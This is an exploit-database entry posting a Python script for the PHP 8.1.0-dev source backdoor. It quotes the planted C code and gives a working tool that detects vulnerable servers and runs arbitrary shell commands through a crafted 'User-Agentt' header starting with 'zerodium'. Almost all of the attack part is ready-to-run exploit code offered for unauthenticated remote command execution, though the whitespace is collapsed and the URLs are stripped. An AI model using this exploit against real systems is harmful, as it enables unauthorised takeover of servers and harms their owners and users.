PHP 8.1.0-dev Backdoor Remote Command Injection

Credit: Richard Jones
Risk: High
Local: No
Remote: Yes

# Exploit Title: PHP 8.1.0-dev (backdoor) | Remote Command Injection (Unauthenticated) # Date: 23/05/2021 # Exploit Author: Richard Jones # Vendor Homepage: # Software Link: # Version: PHP 8.1.0-dev # Tested on: Linux Ubuntu 20.04.2 LTS (5.4.0-72-generic) # Based on the recent PHP/8.1.0-dev backdoor # Infomation: # Reference: # Vuln code in the link above (Original) # When adding "zerodium" or at the start of the user-agent field, will execute php code on the server # convert_to_string(enc); # if (strstr(Z_STRVAL_P(enc), "zerodium")) { # zend_try { # zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017"); #Usage: python3 -u -c ls #!/usr/bin/env python3 import requests import argparse from requests.models import parse_header_links s = requests.Session() def checkTarget(args): r = s.get(args.url) for h in r.headers.items(): if "PHP/8.1.0-dev" in h[1]: return True return False def execCmd(args): r = s.get(args.url, headers={"User-Agentt":"zerodiumsystem(\""+args.cmd+"\");"}) res = r.text.split("<!DOCTYPE html>")[0] if not res: print("[-] No Results") else: print("[+] Results:") print(res.strip()) def main(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="Target URL (Eg:", required=True) parser.add_argument("-c", "--cmd", help="Command to execute (Eg: ls,id,whoami)", default="id") args = parser.parse_args() if checkTarget(args): execCmd(args) else: print("[!] Not Vulnerable or url error") exit(0) if __name__ == "__main__": main()

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021,


Back to Top